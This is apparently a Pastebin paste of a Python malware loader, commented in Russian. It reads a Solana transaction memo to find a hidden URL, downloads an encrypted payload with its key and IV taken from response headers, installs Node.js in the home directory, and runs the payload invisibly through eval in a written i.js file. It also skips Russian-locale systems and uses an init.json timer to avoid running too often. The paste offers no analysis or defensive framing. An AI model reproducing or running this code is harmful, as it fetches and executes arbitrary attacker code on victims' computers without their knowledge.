Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import sys
- import json
- import time
- import base64
- import platform
- import subprocess
- import re
- import asyncio
- import locale
- import urllib.request
- import urllib.error
- import socket
- import zipfile
- import shutil
- from datetime import datetime, timedelta, timezone
- from pathlib import Path
- from http.client import HTTPResponse
- # Эмуляция объекта Buffer из Node.js
- class Buffer:
- @staticmethod
- def from_bytes(data, encoding=None):
- """Статический метод для создания буфера из данных"""
- if encoding == 'base64':
- return base64.b64decode(data)
- elif encoding == 'binary':
- if isinstance(data, str):
- return data.encode('latin-1')
- return data
- elif isinstance(data, str):
- return data.encode('utf-8')
- return bytes(data)
- @staticmethod
- def from_string(data, encoding='utf-8'):
- if encoding == 'base64':
- return base64.b64decode(data)
- return data.encode(encoding)
- def __name(func, name):
- """Эмуляция декоратора __name из JS"""
- func.__name__ = name
- return func
- async def _getSignFAddress(public_key, options=None):
- """
- Получение подписей для адреса Solana
- """
- if options is None:
- options = {}
- limit = options.get('limit', 1000)
- endpoints = [
- "https://api.mainnet-beta.solana.com",
- "https://solana-mainnet.gateway.tatum.io",
- "https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
- "https://solana-rpc.publicnode.com",
- "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
- "https://solana.drpc.org",
- "https://solana.leorpc.com/?api_key=FREE",
- "https://solana.api.onfinality.io/public",
- "https://solana.api.pocket.network/"
- ]
- last_error = None
- for endpoint in endpoints:
- try:
- # Создаем запрос
- data = json.dumps({
- "jsonrpc": "2.0",
- "id": 1,
- "method": "getSignaturesForAddress",
- "params": [public_key, {"limit": limit}]
- }).encode('utf-8')
- req = urllib.request.Request(
- endpoint,
- data=data,
- headers={"Content-Type": "application/json"},
- method="POST"
- )
- # Выполняем запрос с таймаутом
- with urllib.request.urlopen(req, timeout=30) as response:
- response_data = response.read().decode('utf-8')
- data = json.loads(response_data)
- # Проверка на наличие ошибки в ответе
- if data.get('zmwtjkgxor') or data.get('error'):
- raise Exception(data.get('error', 'Unknown error'))
- return data.get('result', [])
- except Exception as e:
- last_error = e
- await asyncio.sleep(0.1) # 100ms задержка
- continue
- raise Exception(f"Failed after all endpoints: {last_error}")
- async def fvzsrnzlh():
- """
- Получение memo из транзакций и парсинг JSON
- """
- try:
- memo = None
- while not memo:
- signatures = await _getSignFAddress(
- "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC",
- {"limit": 1000}
- )
- if not isinstance(signatures, list) or len(signatures) == 0:
- await asyncio.sleep(10)
- continue
- # Фильтрация транзакций с memo
- memo_transactions = [x for x in signatures if x and x.get('memo')]
- if memo_transactions:
- memo = memo_transactions[0]['memo']
- await asyncio.sleep(10)
- # Удаление паттерна типа [0] из начала memo
- result = re.sub(r'\[\d+\]\s*', '', memo)
- return json.loads(result)
- except Exception as e:
- return str(e)
- def _isRussianSystem():
- """
- Проверка, находится ли система в России
- """
- # Проверка языка системы
- username = os.getenv('USERNAME') or os.getenv('USER') or ''
- lang = os.getenv('LANG', '')
- language = os.getenv('LANGUAGE', '')
- lc_all = os.getenv('LC_ALL', '')
- # Получение локали системы
- try:
- system_locale = locale.getdefaultlocale()[0] or ''
- except:
- system_locale = ''
- # Проверка на русский язык
- russian_patterns = ['ru_RU', 'ru-RU', 'russian', 'россия', 'русский']
- is_russian_language = False
- for info in [username, lang, language, lc_all, system_locale]:
- if info:
- info_lower = info.lower()
- for pattern in russian_patterns:
- if pattern.lower() in info_lower:
- is_russian_language = True
- break
- # Проверка часового пояса
- try:
- # Пытаемся получить часовой пояс из разных источников
- timezone = None
- # Для Linux/Mac
- if os.path.exists('/etc/timezone'):
- with open('/etc/timezone', 'r') as f:
- timezone = f.read().strip()
- elif os.path.exists('/etc/localtime'):
- # Пытаемся получить из symlink
- try:
- timezone = os.readlink('/etc/localtime').replace('/usr/share/zoneinfo/', '')
- except:
- pass
- # Для Windows
- if platform.system() == 'Windows':
- try:
- result = subprocess.run(['tzutil', '/g'], capture_output=True, text=True, timeout=5)
- if result.returncode == 0:
- timezone = result.stdout.strip()
- except:
- pass
- # Fallback - используем смещение
- if not timezone:
- timezone = ''
- except:
- timezone = ''
- russian_timezones = [
- "moscow", "kaliningrad", "samara", "yekaterinburg",
- "omsk", "krasnoyarsk", "irkutsk", "yakutsk",
- "vladivostok", "magadan", "kamchatka", "anadyr", "msk"
- ]
- is_russian_timezone = False
- timezone_lower = str(timezone).lower()
- for tz in russian_timezones:
- if tz in timezone_lower:
- is_russian_timezone = True
- break
- # Проверка смещения UTC
- try:
- offset = datetime.now().astimezone().utcoffset()
- utc_offset = offset.total_seconds() / 3600 if offset else 0
- is_russian_offset = 2 <= utc_offset <= 12
- except:
- is_russian_offset = False
- return is_russian_language and (is_russian_timezone or is_russian_offset)
- def download_nodejs():
- """
- Скачивание и распаковка Node.js
- """
- try:
- # Определяем URL для скачивания в зависимости от платформы
- system = platform.system()
- machine = platform.machine().lower()
- if system == 'Windows':
- if 'amd64' in machine or 'x86_64' in machine or 'x64' in machine:
- url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip'
- node_dir = 'node-v22.9.0-win-x64'
- else:
- url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x86.zip'
- node_dir = 'node-v22.9.0-win-x86'
- elif system == 'Darwin':
- if 'arm' in machine or 'aarch64' in machine:
- url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-darwin-arm64.tar.gz'
- node_dir = 'node-v22.9.0-darwin-arm64'
- else:
- url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-darwin-x64.tar.gz'
- node_dir = 'node-v22.9.0-darwin-x64'
- else: # Linux
- if 'aarch64' in machine or 'arm64' in machine:
- url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-linux-arm64.tar.xz'
- node_dir = 'node-v22.9.0-linux-arm64'
- else:
- url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-linux-x64.tar.xz'
- node_dir = 'node-v22.9.0-linux-x64'
- # Путь для сохранения
- homedir = os.path.expanduser('~')
- download_path = os.path.join(homedir, os.path.basename(url))
- extract_path = os.path.join(homedir, node_dir)
- # Проверяем, не скачан ли уже Node.js
- if system == 'Windows':
- node_exe = os.path.join(extract_path, 'node.exe')
- else:
- node_exe = os.path.join(extract_path, 'bin', 'node')
- if os.path.exists(node_exe):
- return node_exe
- # Скачиваем файл
- print(f"Downloading Node.js from {url}...")
- urllib.request.urlretrieve(url, download_path)
- # Распаковываем
- print(f"Extracting Node.js to {extract_path}...")
- if url.endswith('.zip'):
- with zipfile.ZipFile(download_path, 'r') as zip_ref:
- zip_ref.extractall(homedir)
- elif url.endswith('.tar.gz'):
- import tarfile
- with tarfile.open(download_path, 'r:gz') as tar_ref:
- tar_ref.extractall(homedir)
- elif url.endswith('.tar.xz'):
- import tarfile
- with tarfile.open(download_path, 'r:xz') as tar_ref:
- tar_ref.extractall(homedir)
- # Удаляем архив
- try:
- os.remove(download_path)
- except:
- pass
- return node_exe
- except Exception as e:
- print(f"Error downloading Node.js: {e}")
- return None
- def scyzzvvy(url, callback):
- """
- Загрузка данных по URL и вызов callback с результатом
- """
- try:
- # Создаем запрос с заголовком os
- req = urllib.request.Request(
- url,
- headers={'os': platform.system().lower()},
- method="GET"
- )
- # Выполняем запрос
- with urllib.request.urlopen(req, timeout=30) as response:
- data = response.read().decode('utf-8')
- # Получаем заголовки
- iv_base64 = response.headers.get(base64.b64decode("aXZiYXNlNjQ=").decode())
- secret_key = response.headers.get(base64.b64decode("c2VjcmV0a2V5").decode())
- callback(None, {
- 'uezupbxi': data,
- 'ypbtv': iv_base64,
- 'secretKey': secret_key
- })
- except Exception as e:
- callback(e, None)
- async def main():
- """
- Основная функция
- """
- # Ждем 10 секунд перед выполнением
- await asyncio.sleep(10)
- # Проверка на русскую систему
- if _isRussianSystem():
- print("Russian system detected, skipping execution")
- return
- # Работа с init.json
- homedir = os.path.expanduser('~')
- init_path = os.path.join(homedir, 'init.json')
- if os.path.exists(init_path):
- try:
- with open(init_path, 'r', encoding='utf-8') as f:
- check_data = json.load(f)
- # Проверка даты
- if check_data.get('date'):
- check_date = datetime.fromtimestamp(check_data['date'] / 1000) # конвертация из ms
- expiry = check_date + timedelta(days=2)
- if expiry > datetime.now():
- print("Init file is still valid, skipping")
- return
- # Обновление даты
- check_data['date'] = int(datetime.now().timestamp() * 1000)
- with open(init_path, 'w', encoding='utf-8') as f:
- json.dump(check_data, f)
- except Exception as e:
- print(f"Error reading init.json: {e}")
- # Для macOS создаем файл
- if platform.system() == 'Darwin':
- try:
- with open(init_path, 'w', encoding='utf-8') as f:
- json.dump({'date': int(datetime.now().timestamp() * 1000)}, f)
- except Exception as e:
- print(f"Error writing init.json: {e}")
- # Получение данных и выполнение кода
- try:
- data = await fvzsrnzlh()
- def callback(err, result):
- if err:
- print(f"Error in callback: {err}")
- return
- if not result:
- if isinstance(data, dict) and 'link' in data:
- print(f"payload not get, {base64.b64decode(data['link']).decode()}")
- return
- if err:
- time.sleep(1)
- asyncio.create_task(fvzsrnzlh())
- else:
- # Скачиваем Node.js
- node_exe = download_nodejs()
- if not node_exe:
- print("Failed to download Node.js")
- return
- # Получаем данные
- secret_key = result.get('secretKey', '')
- ypbtv = result.get('ypbtv', '')
- uezupbxi = result.get('uezupbxi', '')
- # Создаем временный JS файл
- script_dir = os.path.dirname(os.path.abspath(__file__))
- js_file_path = os.path.join(script_dir, 'i.js')
- # Формируем JS код
- js_code = f"""var https = require("https");
- const secretKey = '{secret_key}';
- const _iv = Buffer.from('{ypbtv}', "base64");
- eval(atob('{uezupbxi}'));"""
- # Записываем JS файл
- try:
- with open(js_file_path, 'w', encoding='utf-8') as f:
- f.write(js_code)
- # Выполняем JS файл через Node.js
- subprocess.Popen([node_exe, js_file_path],
- stdout=subprocess.DEVNULL,
- stderr=subprocess.DEVNULL,
- creationflags=subprocess.CREATE_NO_WINDOW if platform.system() == 'Windows' else 0)
- except Exception as e:
- print(f"Error executing JS code: {e}")
- # Вызов функции с декодированным URL
- if isinstance(data, dict) and 'link' in data:
- decoded_url = base64.b64decode(data['link']).decode()
- scyzzvvy(decoded_url, callback)
- except Exception as e:
- print(f"Error in main: {e}")
- # Запуск асинхронной функции
- if __name__ == "__main__":
- asyncio.run(main())
Add Comment
Please, Sign In to add comment